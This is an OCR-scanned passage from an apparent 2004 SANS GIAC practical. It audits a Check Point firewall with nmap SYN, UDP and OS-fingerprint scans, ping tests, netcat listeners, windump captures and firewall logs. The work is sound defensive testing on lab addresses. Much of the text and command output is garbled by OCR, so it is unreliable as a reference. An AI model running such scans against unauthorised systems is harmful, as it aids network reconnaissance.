1027607 SMar2004  0:51:14 : [=
1027608 SMar2004  0:51:14 2 [=
1027609 SMar2004  0:51:14 : =
1027610 SMar2004  0:51:14 2 [=
1027611 SMar2004  0:51:14 : =
1027612 SMarz004  0:51:14 2 [=
1027613 SMar2004  0:51:14 f =
1027614 SMar2004  0:51:14 2 [=
1027615 SMar2004  0:51:14 : =
1027816 SMarzond 514 BE =
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44216
63043
33563
33603
31aal
2Th
37315
52176
43187
31563
30556
45963
G365
26307
36216
309
56714
13280
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dmz-nmap-scan
dmz-nmap-scan
drrz-rirap-scan
dmz-nmap-scan
driz-nimap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
dmz-nmap-scan
drrz-rirap-scan
dmz-nmap-scan
driz-nimap-scan

giac-taronta
giac-taronto
giac-taronko
giac-taronko
giac-taronko
giac-taronko
giac-taranko
giac-toronto
giac-taronko
giac-taronto
giac-taronko
giac-taronto
giac-taronko
giac-taronto
giac-taronto
giac-taronko
giac-taronko
giac-taronko

6

[}
&}
[}
&}
[}
&}
&
[}
[
[}
[
[}
[}
[}
&}
[}
&}

B1825
61825
61525
G1525
alEz24
1524
alEz24
61824
a1E24
Glgad
a1E24
Glgad
a1E24
Gla24
a1E24
alEz24
1524
alEz24
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3.2.1.5 UDP Scan of the firewall from DMZ address

» Scan diagram

192.168.60.14

Giac Firewall

Ethem obm—— e
192.168.60.13

BAED JBADFFOID

» Nmap command used to perform scan:

nmap —v —sU —sR —O —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.60.14

where:
v — verbose option to show more information while executing the
command

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

O —try to determine the operating system of the scanned IP
PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution

Below is the output of this scan:

Table 5.2

C:“Program Files“nmap3.5%8nmap —v —sl —=sR -PAB ——max_rtt_timeout 18 -pl-65535 —n

il 168.668.14
WARNING: You specified a round—trip time timeout <18 ms=)> that is EATRAORDINARILY
ALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:/Avuw.insecure. urg/nmap » at 2084-83-84 22:45 M5T

Host 1922_.168_.68.14 appears to he up ... od-

Initiating UDP Scan against 122.168.60. 14 at 22:45

The UDP Scan took 25 seconds to scan 65535 ports.

Adding open port 2746/udp

Adding open port 5AB-udp

Initiating RPCGrind Scan against 192.168.60.14 at 22:46

The RPCGrind Scan took B seconds to scan 2 ports.

Interesting ports on 192.168.68.14:

{The 65533 ports scanned hut not shown bhelow are in state: closzed?
STATE SERUVICE UERSION
open isakmp

2746 udp open unknown

Mmap run completed — 1 IP address ¢1 host up? scanned in 25.567 seconds
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As we can see from the output of this scan, 2 UDP ports were discovered by

nmap:

» Port 500 — being used by Check Point VPN-1 isakmp

» Port 2746 — being used by Check Point VPN-1 SecuRemote IPSEC

Transport Encapsulation Protocol

Again, both of these ports are needed for GIAC VPN implementation.

Nmap udp scan proved to be in compliance with GIAC security policy.

Below is the sample of other udp traffic being rejected in the firewall:

Table 5.3

T Mo. | T Date | T Time | Y| Y| T Origin | ?l ‘I'| Y| T Service | T Source T Destination | T Rule | =
059527 SMarz004 m4e:03 [= giac-toronto |L| LU=t ) dmz-nmap-scan giac-toronto ] 53111
9595258 SMarZio4 0:46:03 [= giac-toronto |I| Q OB 17249 dmz-nmap-scan giac-toronko & 231l
959829 SMarz004 0:46:035 [= giac-toronko I ° L= dmz-nmap-scan giac-toronto G 5311
959830 SMarz004 4603 [= giac-toronto I ° UOR 20147 dmz-nmap-scan giac-toronko 5] S53l1l
050531 SMarz004 m4e:035 [= giac-toronto I ° JLLULC et dmz-nmap-scan giac-toronto ] 53111
959832 SMarZ0o4 0:456:05 [= giac-toronto |I| e JELLL ettt dmz-nmap-scan giac-toronto 5] 53111
959835 SMarzio4 0:46:035 [= giac-toronko I ° JLLLL TS dmz-nmap-scan giac-toronto G 5311
959834 SMarz004 4603 [= giac-toronto I ° UOR - 300S7 dmz-nmap-scan giac-toronko 5] S53l1l
059335 SMarZ004 4603 [= giac-toronto I ° LU el dmz-nmap-scan giac-toronko & E3lll
959836 SMarZ0o4 0:456:05 [= giac-toronto |I| e R 18107 dmz-nmap-scan giac-toronto 5] 53111
959837 SMarzio4 0:46:03 [& giac-toronto I ° ook 2505 dmz-nmap-scan giac-toronko G 5311
959835 SMarz004 4603 [= giac-toronto I ° Do a7 dmz-nmap-scan giac-toronko 5] S53l1l
050330 SMarZ004 4603 [= giac-toronto I ° JELLLC R dmz-nmap-scan giac-toronko & E3lll
959840  SMarZ004 0:46:035 [= giac-toronto |I| ° HoR - qoan dmz-nmap-scan giac-toronto G 5311
959841  SMarz004 0:46:03 [& giac-toronto |I| ° ook 5153 dmz-nmap-scan giac-toronko G 5311
on9842  SMarz004 mr46:035 [= giac-toronka |I| o OB 14797 drz-nirmap-scan giac-toronta 5] 53111
050343 SMarZ004 4603 [= giac-toronto |I| ° QOB 23441 dmz-nmap-scan giac-toronko & E3lll
959844 SMarZ004 0:46:035 [= giac-toronto |I| ° HoR 51327 dmz-nmap-scan giac-toronto G 5311
959845 SMarz004 m4a0z BE = giac-toronka |I| ° Do 1391 drnz-nmap-scan giac-toronko & 53111

3.2.1.6 Ping test against the firewall from DMZ address

» Scan diagram

Giac Firewall
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Ping command used:

Table 5.4
C:“Program Filessnmap3.5%@Xping 172_168_68_14

Pinging 192.168_.608.14 with 32 hytes of data:

Regquest timed out.
Regquest timed out.
Regquest timed out.
Request timed out.

Ping statistics for 192_.168.60.14:

Packets: Sent = 4, Received = B, Lost = 4 {188+ loss),.
Approximate round trip times in milli—seconds:

Minimum = Bms, Maximum = @ms,. Average = Bms

This test proved that ICMP ping command to GIAC firewall is not allowed and
this type of traffic is being dropped. Again, this proved to be in accordance with
the security policy.

3.2.1.7 TCP Scan of the firewall from internal address

» Scan diagram

>

© SANS Institute 2004,

Giac Firewall
192.168.30.254

2
& crossover cable
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192.168.30.30

Nmap command used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.30.254

where:

v — verbose option to show more information while executing the
command

sS — SYN Stealth type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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Below is the output of the scan:

Table 5.5

C:wProgram Filesnmap3d.5@>nmap -v —38% —szR -PA ——max_rtt_timeout 1@ —-pl1-65535 -n
192.168.30.254

WARMING: You specified a round—trip time timeout (1@ msz) that is EXTRAORDINARIL
SMALL. Accuracy may suffer.

Starting nmap 3.58 { http:/fwwuw.insecure. urg/nmap } at 2004-03-84 23:80 MST
Host 192.168.30.25%4 appears to he up ... good.
Initiating SYMW Stealth Scan against 192. 168 3A.254 at 23:88
Adding open port 18231./tcp
Adding open port Z64-/tcp
Adding open port 18264-tcp
The S¥YH Stealth Scan took 177 seconds to scan 65535 ports.
Initiating RPCGrind Scan against 192_.168.30.254 at 23:03
The RPCGrind Scan took B seconds to scan 3 ports.
Interesting ports on 192.168.308.254:
(The 65531 ports scanned but not shown below are in state: filtered>
STATE SERUICE UERSION
open hgmp
closed isakmp
18231/tcp open unknown
18264/tcp open unknown

Mmap run completed — 1 IP address €1 host up? scanned in 177.6824 seconds

As we can see from the output of this scan, 4 TCP ports were discovered by
nmap:

Port 264 —SecuRemote topology downloads

Port 500 (isakmp) — being used by Checkpoint VPN-1 implementation
Port 18231 — used for download of Desktop Security

Port 18264 — being used by FW1_ica_services for Certificate Revocation
Lists and registering users when using the Policy Server.

VVVY

Table 5.6

Date Time: Crigin Service Source Destination Rule Sre. . Information |
Sharz004 1io0z7 B giac-toronko El ICE  Fwl_pslogon_MG  internal-nmap-scan giac-toronto 39687 message_info: Implied rule
SMarz004 1:00:52 giac-taronko
SMarz004 1:01:05 == giac-taronko
SMarz004  1:01:29  E==

39687 message_info: Implied rule
39687 message_info: Implied rule
9687 message_info: Implied rule

Iee FW1_jica_services  internal-nmap-scan giac-toronko

(el 4] ] (]

@ Iee F'l_topo internal-nmap-scan giac-toronko

oio oo

giac-taronko = TCR IKE bcp internal-nmap-scan giac-toronko

Again, these ports are needed by Checkpoint firewall and are implemented via
global security policy implied rules. No other TCP ports were discovered during
this scan, which is in compliance with GIAC firewall security policy.
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3.2.1.8 UDP Scan of the firewall from internal address

» Scan diagram

Giac Firewall

192.168.30.254

Ethernet;

192.168.30.30

» Nmap command used to perform scan:

nmap —v —sU —sR —O —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.30.254

where:

v — verbose option

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution

Below is the output of the scan:

Table 5.7

C:“\Program Files“nmap3.58nmap —v —sll —=sR -PA ——max_rtt_timeout 18 -pl1-65535 -n
192.168.30.254

HEENING: You specified a round-trip time timeout <10 ms? that is EXTRAORDIMARILY
ALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:- " vuww.insecure.org-nmap » at 2004-03-04 23:49 MET

Host 122.168.38.254 appears to be up ... good.

Initiating UDP Scan against 192_168_30. 254 at 23:49

The UDP Scan took 31 seconds to scan 65535 ports.

Adding open port 508 udp

Adding open port 2746-udp

Initiating RPCGrind Scan against 192.168.38_.254 at 23:49

The RPCGrind Scan took B seconds to scan 2 ports.

Interesting ports on 192.168.38.254:

¢{The 65533 ports scanned but not shown below are in state: closed)
STATE SERUICE UERSIOM
open isakmp

2746 -udp open unknown

Mmap run completed — 1 IF address ¢1 host up) scanned in 36.842 seconds
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As we can see from the output of this scan, 2 UDP ports were discovered by
nmap:

» Port 500 — being used by Check Point VPN-1 isakmp
» Port 2746 — being used by Check Point VPN-1 SecuRemote IPSEC
Transport Encapsulation Protocol
Again, both of these ports are needed for GIAC VPN implementation.
Nmap udp scan proved to be in compliance with GIAC security policy.

3.2.1.9 Ping test against the firewall from internal address

» Scan diagram

Giac Firewall
192.168.30.254

crossover cable

m: Etherne

192.168.30.30

Ping command used:

Table 5.8
C:“Program Files“wnmap3.5%B@Xping 192.168_.30.254

Pinging 192.168.308.254 with 32 bytes of data:

timed out.
timed out.
timed out.
timed out.

Ping statistics for 192.168.368.254:

Packet=z: Sent = 4, Received = @, Lost = 4 (1688x loss),
Approximate rowund trip timesz in milli—seconds:

Minimum = Bms. Maximum = @ms,. Average = Bns

This test proved that ICMP ping command to GIAC firewall is not allowed and
this type of traffic is being dropped. Again, this proved to be in accordance with
the security policy.
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3.2.2 Test the firewall security policy rulebase from public side

These tests are performed to ensure that the implemented firewall security policy
is allowing appropriate traffic through, dropping and denying the rest of the traffic.
Two test computers will be used here. One on the public side assuming GIAC
border router internal IP address, the other on the DMZ side of the firewall,
assuming different GIAC DMZ server IP address for each test performed. Nmap,
windump and netcat were loaded on both computers.

3.2.2.1 GIAC HTTP/HTTPS server scan

» Scan diagram

PUBLIC

192.168.90.1 %

=
S
c < crossavercable
=
(7]
<
=
w

GIACFIREWALL

Ethernet

» Nmap command used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.90.3

where:

v — verbose option

sS — SYN Stealth type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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Below is the output of the scan:

Table 5.9
ommand Prompt
C:“Program Filessnmap3.58nmap —v —s5 —sR -PB ——max_rtt_timeout 18 —pl-65535 —n

1i68.98.3
JEEHIHG You specified a round-trip time timeout (18 ms>» that is EXTRAORDINARILY
ALL. Accuracy may suffep.

Starting nmap 3.58 ¢ http:- “wuww.insecure.orgsnmap > at 2084-A3-A7 12:86 MST
Host 192.168.768.3 appears to be up ... good.

Initiating S¥YN Stealth Scan against 192.168.78.3 at 12:86

Adding open port 443 tcp

Adding open port 8B-/tcp

The S5YM Stealth Scan took 173 seconds to scan 65535 ports.

Initiating RPCGrind Scan against 192.168.98.3 at 12:89

The RPCGrind Scan took 1 zecond to scan 2 ports.

Interesting ports on 192.168.90.3:

({The 65533 ports scanned but not shown bhelow are in state: filtered>
STATE SERUVICE UERSION
open http

443 /tcp open https

Mmap run completed — 1 IP address <1 host up? scanned in 174.281 seconds

As we can see from the output of this scan, only two TCP ports showed up as
open:

» Port 80 — http

> Port 443 — https
This result agrees with GIAC web server access policy

In addition to nmap scan, netcat command was executed on DMZ computer to
simulate the actual connection happening on port 80.

» Netcat command used to simulate port 80:
nc —| —v —p 80 < http.txt (text file to load, when connection is made)
| — listen mode
v — verbose mode
p — port to listen on

Below, we can see the netcat command running on DMZ computer, simulating
http server:

Table 6.0

Microzoft Windows 2088 [UVerzion 5.08.21751
CC» Copyright 198528008 Microsoft Corp.
G sWINNT“system322>cd _.~_.

C-~>cd netcat

C-netcat>nc —1 —v —p BB {http_txt

listening on [anyl 88 .

192 168 .98.1: inverse host lookup failed: h_errno 116884: NO_DATA
connect to [122_.168.68.11 from <UNHMOWH}» [192.168_.928_.11 229@: HO_DATA
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and the output of telnet command executed on public computer, trying to access
http server:

Table 6.1
ommand Prompt - telnet 192.168.90.3 80

Success?1?
You’'ve connected to GIAC HITP server

which was successful as we can observe in the above output.

Another utility, windump was also executed on DMZ computer to show the http
traffic reaching its network interface:

Table 6.2
= [Command Prompt - windump -¥ -q-n-i 2 =i

1 e 3 ) D28 D2A—-96F9 BEB 1
i H :, 3 1 Ml B ; H :, HE . 7H 166 7
b8 .6H 14 1
H 0 0 68 . 6H 68 . 6H
H 0 HE . 6H H b
§ H 1 Hx i H b8 . 6H T
H .7 466 H )
G M58 30 3 1 Hx G : H .21 y
LB [ 0
i f D g B § Yy H .6 H i
i h , / B i i 0 ; B
T 0 o 0 0 T " 2 LR A
§ 76778 ; ; LA h h ] B
G 'l 3 1 Ml b B : b8 .78 G 7
h# .6H i )
G , § 3 1 Ml H H § , HE . 6H , h
H.98 i i
G b 3 1 Ml b B : bl .78 § 3
hE.6H H )
G HE B 1 Hx i H 0 b8 . bH h
.7 i i
H 1 Hx b B it H 0
b8 .6H H )
§ B 1 Hx i B H b8 . 6H T
H .7 H H
A7 = H 28 3 1 Hx 2810 , . 7H :
B .60 B 0 [
37 - H B8 D g B § Y, B §
47 - H H40 3 / B.6H i
A7 - | H {6 H 3 1 Ml H H § :, hE -G B : hH
e 4 [
{7 - | 7Y 3 1 Ml b 474 , HE . 7H :
AL B i 1
{7 - | H?96 3 1 Ml H H8 § , HE . 6H B : HE
rd 4 i
1Y H74807 0 3 HE .60 ; b8 .6H
1Y H?4859 g HE . 6H 1 1 ] 1
0y, b . 64241 1 Hx b 28 b 0
HE .6H 115 H [
0, b .64 1 Hx i H (8 . 6H B 68
1 H [
Gy, Hh .6 H59 3 1 Hx f 528 1 , L8 . TH y
L8 .6 115 i [
Ao . (0 ' . A B 000 q 2 0B v
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» Windump command used to capture traffic on DMZ computer
windump -v —q —n —i2
where:
v — verbose
g - quick output
n — don’t convert addresses to names
I — interface to listen on (obtained from windump —D command)

Topping all the above tests is the output of Checkpoint SmartView Tracker

showing us the firewall logs for http type traffic:

Table 6.3

T Date | T Time | Y| Y| T Origin | Yl ‘I'| Yl T Service T Source T Destination T Rule |V S0
FMar2004 17:52:08 BE [= giac-toranko @@ http Cisco-Fouter-Internal 192,165.90.3 7 37539
FMarz004 17:52:08 BE = giac-toranto @E http Cisco-Router-Internal 192,165,903 7 37540
FMarz004 17:52:08 BE [= giac-taranto @E http Cisco-Router-Internal 192,165,90.3 7 37541
FMar2004 17:53:35 HE [= giac-toranko @@ http Cisco-Fouter-Internal 192,165.90.3 7 37538
FMarz004 17:53:35 HE [= giac-toranto @E http Cisco-Router-Internal 192,165,903 7 37537
FMarz004 17:53:35 ¥E [= giac-taranto @E http Cisco-Router-Internal 192,165,90.3 7 37536

All these scans and logs confirm that public access to GIAC http server is
properly implemented on the firewall.

3.2.2.2 GIAC SMTP server scans

» Scan diagram

PUBLIC

192.168.90.1

GIACFIREWALL
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Below is the output of the scan:

Table 6.4

Command Prompt

C:~Program Files“nmap3.5@>nmap —v —=8% —=R —OIQﬁé-—max_rtt_timeout 18 —pl1-65535 —

.168.78.6

L. Accuracy may suffer.

HG: You specified a round—trip time timeout €18 ms> that iz EXTRAORDINARILY

Starting nmap 3.58 ( http: 7wvuw.insecure .orgsnmap > at 2004-A3-A2? 16:51 HMST

Host 192_168_98.6 appears to be up ... good.

Initiating S¥YH Stealth Scan against 122_168_98.6 at 16:=51
Adding open port 25-tcp

The S5YM Stealth Scan took 174 seconds to scan 65535 ports.
Initiating RAPCGrind Scan against 192.168_.978.6 at 16:54
The RPCGrind Scan took 1 szecond to scan 1 ports.

Warning: 0% detection will be MUCH less reliable because we did not find at lea

st 1 open and 1 closed TCP port

For 0S55can assuming that port 25 iz open and port 31540 iz closed and neither awp

e firewalled

Insufficient responses for TCP sequencing (B>, 05 detection may bhe less accurate

For 058can assuming that port 25 is open and port F4814 iz closed and neither awp

e firewalled

Inzufficient responses for TCP sequencing (@), 0f% detection may bhe less accurate

For 058can assuming that port 25 is open and port 35876 iz closed and neither ap

e firewalled

Inzufficient responses for ICP sequencing (B>, 0f detection may be less accurate

Interesting ports on 1922_168_909.6:

(The 65534 portsz scanned but not shoun below are in state: fFiltered>
FORT ETATE SERUVICE UERSION

25/tcp open smbtp

Too many fingerprints match thiszs host to give specific 05 details
TCP-IF fingerprint:
SInfocl=3_58xP=i6B86—pc—windowsz—windows»D=39+Time=484E5?52x0=25xC=—1>

PUCHesp=M>

Mmap run completed — 1 IP address ¢1 host up? scanned in 185_.587 seconds

C:~Program Files“nmapd.S%@>ipconfig

Windows 2888 IP Configuration

Ethernet adapter Local Area Connection 3:
Connection—specific DNS Suffix
IP Address. - - - . - & - = - 192.168.98._1
Bubnet Mask . . . . I oE e e 255.255.255.248
Default Gateway . . T F E E 192 _168.78_.2

C-~Program Filesnmap3.50>

» Nmap command used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.90.6

v — verbose option

sS — SYN Stealth type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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At the same time, netcat command was executed on DMZ computer to simulate
the actual connection happening on port 25.

» Netcat command used to simulate port 25:
nc —v — —t —p 25 < smtp.txt
where :
| — listen mode
v — verbose mode
p — port to listen on
smtp.txt — simple text file that was created to pop up on public
machine when actual connection on port 25 had been made through the
firewall.

Below, we can see the netcat command running on DMZ computer, simulating
smtp server:

Table 6.5

elect Command Prompt
C:snetcat>ipconf ig

Windows 2888 IP Configuration

Ethernet adapter Local Area Connection:

Connection—specific DNS Suffix . :
IP Address. - - -« « « « & =« = « « = 192.168.608.4

Subnet Mask . . . . . . . . . . . = 255 255 250 241
Default Gateway . . - . . . - . . = 192.168.68.14

C:swnetcat?*>nc -1 —v —t —-p 25 <smtp.txt

listening on [anyl 25 _..

122.168.98.1:- inverse host lookup failed: h_errno 11884: NO_DATA
.168.68.41 from (UNENHOMH> [192_168_.98.11 1857: HO_DATAH

and the output of telnet command executed on public computer, trying to access
smtp server:

Table 6.6

ommand Prompt

Success???
You've connected to GIAC SHTP server

C:sDocuments and Settings»t815482>ipconfig

Windows 2888 IP Configuration

Ethernet adapter Local Area Connection 3:
Connection—specific DMS Suffix . =
IP Address. . . . . . . . - . . . = 192_168.98.1

Subnet Mask . . . . . . . . . . . = 255_.255_ 255 248
Default Gateway . . . . . - - . - = 192.168.98.2

C:xDocuments and Settings“t815482>

which was successful as we can observe above.
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Another utility, windump was also executed on DMZ computer to show the smtp
traffic reaching its network interface:

» Windump command used to capture traffic on DMZ computer
windump -v —q —n —i2
where:
v — verbose
g - quick output
n — don’t convert addresses to names
I — interface to listen on (obtained from windump —D command)

Table 6.7

C:swindumpiwindump —v —gq —n —1 2

windunp: listening on “~Device“~MPF_{4E42751D-5228-422A0—-?6F?-57418BB4533D>
B7:37:59_588845 arp who—has 192_168_68.4 tell 172.168_68.14
B7:37:59.588899 arp reply 192.168.60.4 izs—at B:5@:4:cd:=9:

el
A7:37:52.589201 IP (tos Bx@. ttl 127, id 7897, len 48> 192.168.78.1.1322 > 192.1
68.68.4.25: tcp B <(DF>

H7:37:59.589288 IP (tos Bx@. ttl 128, id 271, len 48> 192.168.68.4.25 > 192.168.
98.1.1322: tcp B <(DF>
A7:37:59.589923 IP (tos BxA. ttl 127, id 7898, len 48> 192.168.78.1.1322 > 192.1
6B.68.4.25: tcp B (DF>

As we can see above, windump running simulation smtp server registered smtp
traffic on its network interface, as well as GIAC firewall SmartView Tracker logs
below:

T Date | T Time | Yl Yl T Origin | Yl Yl Yl T Service T Source T Destination | T Rule | T Source Por
FMarz004 17:54:30 2 = giac-taronto . @T_ smtp Cisco-Router-Internal 192,168,90.6 11 49159
TMarzond  17:54:39 HE [ giac-toronko E & smp Cisco-Router-Internal 192,168,90.6 11 49190
FMarz004 17:54:30 2 = giac-taronto . @T_ smkp Cisco-Router-Internal 192,168.90.6 11 43191

By examining all these outputs, testers were able to confirm that smtp traffic
adhered to GIAC firewall policy.
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3.2.2.3 GIAC DNS server scans

» Scan diagram

PUBLIC

(7244

192.168.90.1

» Nmap commands used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n

192.168.90.4
nmap —v —sU —sR —O —P0 —max_rtt_timeout 10 —p53 —n 192.168.90.4
where:
v — verbose option to show more information while executing the
command

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP
PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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Below is the output of both scans:

Table 6.9

|Command Prompk .
C:=s»Program Filezsnmapd.5@8>nmap —v —=5 —=R -0 —PB —max_wrtt_timeout 18 —pl-65535

n 192_168.768.4
WARNIHG: ¥You specified a round-—trip time timeout <18 ms>» that iz EXTRAORDIMARILY
SMALL. HAccuracy may suffer.

Starting nmap 3.58 ¢ http: //uuu.lnﬂecure nrg/nmap » at 20804-832-@79 17:28 MET
Host 122.168.98.4 appears to he up ...

Initiating S¥YN Stealth Scan against 192. 168 QB 4 at 17:38

The S5¥W Stealth Scan took 174 seconds to scan 65535 ports.

Warning: 05 detection will be MUCH less reliable because we did not find at le
=t 1 open and 1 closed TCP port

A1l 65535 scanned ports on 172_.16B.78.4 are: filtered

Too many fingerprints match this host to give specific 05 details

TCP-IP fingerprint:

SInfodU=3.58xFP=i6B86—pc—windows—windowsxD=37xT ime=484E6247x0=—1xC=—1>

PUCHezp=MN>»

Mmap run completed — 1 IP address <1 host wup? scanned in 182.812 seconds
C:“FProgram Files“nmap3.58>nmap —v —sl —sR —0 -PA —max_wtt_timeout 18 —pSs3 —n 192

.168.98._4
JEENING: You specified a round—trip time timeout <18 ms)> that is EXTRAORDINARILY
ALL. Accuracy may suffer.

Stavrting nmap 3.58 ¢ http: //uuu.lnoecure org/nmap > at 2084-83-8% 17:34 HMST
Host 192_168_98.4 appears to he up ... od.

Initiating UDP Scan against 172_168_9@. 4 at 17:-34

The UDP Scan took B seconds to scan 1 ports.

Adding open port 53 udp

Initiating RPCGrind Scan against 172_168.90.4 at 17:34

The RPCGrind Scan took B seconds to scan 1 ports.

Warning: 05 detection will he MUCH less »eliable because we did not find at le
st 1 open and 1 closed TCP port

Interesting ports on 192.168B.98.4:

PORT STHTE SERUICE UERSION

53 udp open domain

Too many fingerprints match thiz host to give specific 05 details

TCP-/IF fingerprint:
SInfodl=3_58xP=1i686—pc—windows windowsxD=32xT ime =484E62 BB 0=—1xC=—1>

Mmap »un completed — 1 IP address <1 host up? scanned in 7.2808 seconds

Also, as we can see below, GIAC firewall SmartView Tracker registered udp-dns
type traffic:

Table 7.0

T Date | T Time | Y| T| T Origin | Y| ?| Y| T Service T Source | T Destination | T Rule | T Source Port
FMarz004 1713925 [= giac-toronto @ UOE - domain-udp Cisco-Router-Internal — 192,168.90.4 13 1919
FMarzo04 17:40:53 [= giac-toronto @ UOB  domain-udp Cisco-Router-Internal 192.165.90.4 13 53467
FMar2004 17:40:53 [= giac-toronto @ WO darmain-udp Cisco-Rouker-Internal 192.165.90.4 13 C34E6
AMlarZ004 19:35:06 [= giac-toronto @ Y0P domain-udp Cisco-Router-Internal — 192.1658.90.4 13 1064
SMarz004 1903637 [= giac-toronto @ OB domain-udp Cisco-Router-Internal 192,165,90.4 13 SzZ812
AarZ004 1903637 [= giac-toronto @ U0 domain-udp Cisco-Router-Internal 192.165.90.4 13 2511
OMarZ004 19:41:55 [= giac-toronto @ UOE  domain-udp Cisco-Rouker-Internal 192.165.90.4 13 36154
SMarz004 19:41:55 [= giac-toronto @ UOE - domain-udp Cisco-Router-Internal 192,165.90.4 15 36155
SMarz004 19:44:02 [= giac-toronto @ OB domain-udp Cisco-Router-Internal 192.165,90.4 13 465103
Okar2004 19:44:02 [= giac-toronto @ U0 domain-udp Cisco-Router-Internal 192.165.90.4 13 45104
SMarz004 19:45:10 [= giac-toronto @ Y0P domain-udp Cisco-Router-Internal 192.165.90.4 13 36651
SMarz004 19:45:10 [= giac-toronto @ OB domain-udp Cisco-Router-Internal 192,165,90.4 13 JEESE
AarZ004 19:46:12 =H [=  giac-toronto @ U0 domain-udp Cisco-Router-Internal 192.165.90.4 13 45019
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By examining all these outputs, testers were able to confirm that dns traffic
adhered to GIAC firewall policy.

3.2.2.4 GIAC NTP/SYSLOG server scans

» Scan diagram

>
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Nmap commands used to perform scan:

nmap —v —sS —sR -0 —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.90.5

nmap —v —sU —sR —O —P0 —max_rtt_timeout 10 —p1-65535 —n
192.168.90.5

where:

v — verbose option to show more information while executing the
command

SS - SynStealth type of scan

sU — UDP type of scan

SR — RPC (Remote Procedure Call) scan

O — try to determine the operating system of the scanned IP

PO — do not ping the scanned IP

p1-65535 — scan all ports

n — do not perform IP address resolution
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Below is the output of these scans:

Table 7.1

C:sProgram Files“nmap3d.%@nmap —v —s5 —sR -0 -PO —-max_prtt_timeout 18 -pl-65535 -
n 192.168.98.5

WARNING: You specified a round-trip time timeout <10 ms> that iz ESTRAORDIMARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:i//www.insecure. urg/nmap } at 2804-A3-A%7 192:@3 MST
Host 192_168.98.5 appears to he up ... good.

Initiating 5YN Stealth Scan against 192.168.98.5 at 19:83

The 5¥YN Stealth Scan took 24 seconds to scan 65535 ports.

Warning: ©Of detection will be MUCH less reliable because we did not find at lea
szt 1 open and 1 closed TCP port

Interesting ports on 172.168.960.5:

(The 65534 ports scanned but not shown helow are in state: closed?

PORT STATE SERVICE UERSION

123/tcp filtered ntp

Too many fingerprints match this host to give specific 085 details

TCP/IP fingerprint:
SInfodl=3.58%P=ib8b—pc—windows—windowsxD=3/9%T ime =4B4E?7AEx 0=—1xC=1>
TSCResp=H>

Th(Rezp=N>

T7?CResp=N>
PUCResp=Y=DF=M:xT0S% =8I PLEN=38»RIPTL=148»RIPCK=ExUCK=ExULEN=134»DAT=E>

Nmap run completed — 1 IP address ¢1 host up? scanned in 31.%936 seconds

C:sProgram Files“nmap3d.%@nmap —v —sl —sR -0 -PB —-max_prtt_timeout 18 -pl-65535 -
n 192.168.98.5

WARNING: You specified a round-trip time timeout <10 ms> that iz ESTRAORDIMARILY
SMALL. Accuracy may suffer.

Starting nmap 3.58 ¢ http:i//www.insecure. urg/nmap ) at 2804-A3-A%7 192:86 MST
Hos=t 192_168.98.5 appears to be up ... good.

Initiating UDP Scan against 1%2.168.98. 5 at 1?:86

The UDP Scan took 26 szeconds to scan 65535 ports.

Warning: ©Of detection will be MUCH less reliable because we did not find at lea
szt 1 open and 1 closed TCP port

Interesting ports on 172.168.960.5:

(The 65533 ports scanned but not shown helow are in state: closed?

PORT STATE SERVICE UERSION

123/udp filtered ntp

S514/udp filtered syzloyg

Too many fingerprints match this host to give specific 08 details

TCP/IP fingerprint:
SInfodl=3.58xP=i686—pc—windows—windowsxD=3/9%T ime=484E78 37 0=—1xC=—1>

TS (Rezp=N>

ToCResp=H>

T?CResp=HN)
PU<Resp=Y=DF=MxT0S =8I PLEN=38»RIPTL=148xRIPCK=ExUCK=E=ULEN=134»DAT=E>

Nmap run completed — 1 IP address (1 host up?} zcanned in 33.949 seconds

Port state “filtered” means that a firewall is covering the port and preventing
nmap from determining whether the port is open.
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GIAC firewall SmartView Tracker logs below:

Table 7.2

T Date | W Time | Yl Yl W Origin | Yl Vl Yl T Service T Source I Destination | T Rule | T So
FMar2004 17:39:50 B [= giac-koronto @ UB rtp-udp Cisco-Rauter-Internal 192,168,905 15 1920
FMarz004 174008 BE [ giac-toronto @ OB svelog Cisco-Router-Internal 192.1658.90.5 15 1921
FMarz004 17:41:19 2 [= giac-toranta E| @ YWE ntp-udp Cisco-Router-Internal 192,165.90.5 15 43075
FMarz004 17:41:19 2 [= giac-toranta @ YWE ntp-udp Cisco-Router-Internal 192,165.90.5 15 43074
FMarz004 1741135 B8 [= giac-toranta @ 0P syslog Cisco-Router-Internal 192,165.90.5 15 337588
FMarz004 1741135 B8 [= giac-toranta @ 0P syslog Cisco-Router-Internal 192,165.90.5 15 33757

It was a good idea to perform syslog service attempt from public computer setup
as GIAC border router internal address (192.168.90.1), since GIAC security
policy allowed transfer of border router logs to local facility 6 on GIAC syslog
server in the DMZ. As we can see this traffic was allowed to pass.

3.2.3 Test GIAC firewall policy from DMZ network perspective

